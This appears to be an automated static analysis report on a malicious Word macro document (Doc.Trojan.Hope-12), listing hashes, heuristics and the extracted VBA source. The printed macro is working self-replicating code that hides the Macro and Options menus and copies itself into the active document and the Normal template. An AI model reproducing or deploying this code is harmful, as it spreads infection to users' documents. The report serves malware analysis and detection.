Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4b38b52592e01cf…

MALICIOUS

Office (OLE)

32.0 KB Created: 2000-03-07 12:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9f10e8c63d1d8ccd088837c6a4ba828b SHA-1: 8e7c7ba65e79fd58d14b5cd692ec4ad9d1774492 SHA-256: b4b38b52592e01cf2da65f98a37e632a56af139011ab4dd6cc6057ef82917042
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Hope-12. Static analysis revealed the presence of VBA macros. The Document_Close subroutine within the macros attempts to overwrite the active document with its own code and save the document, which is a common technique for malware to embed itself or prepare for payload execution. No specific family could be confidently identified.

Heuristics 2

  • ClamAV: Doc.Trojan.Hope-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-12
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 890 bytes
SHA-256: ef502c4d5a182139f43b8a8edfe81f26114c4015728313fc778c1c21b57e185d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close(): On Error Resume Next
    Set prevDocument = NormalTemplate
    Set nextDocument = newDocument
CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete
Set CM = MacroContainer.VBProject.VBComponents.Item(1).CodeModule
Set ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Set nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
MC = CM.Lines(1, CM.CountOfLines)
ad.DeleteLines 1, ad.CountOfLines: ad.AddFromString MC
nt.DeleteLines 1, nt.CountOfLines: nt.AddFromString MC
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub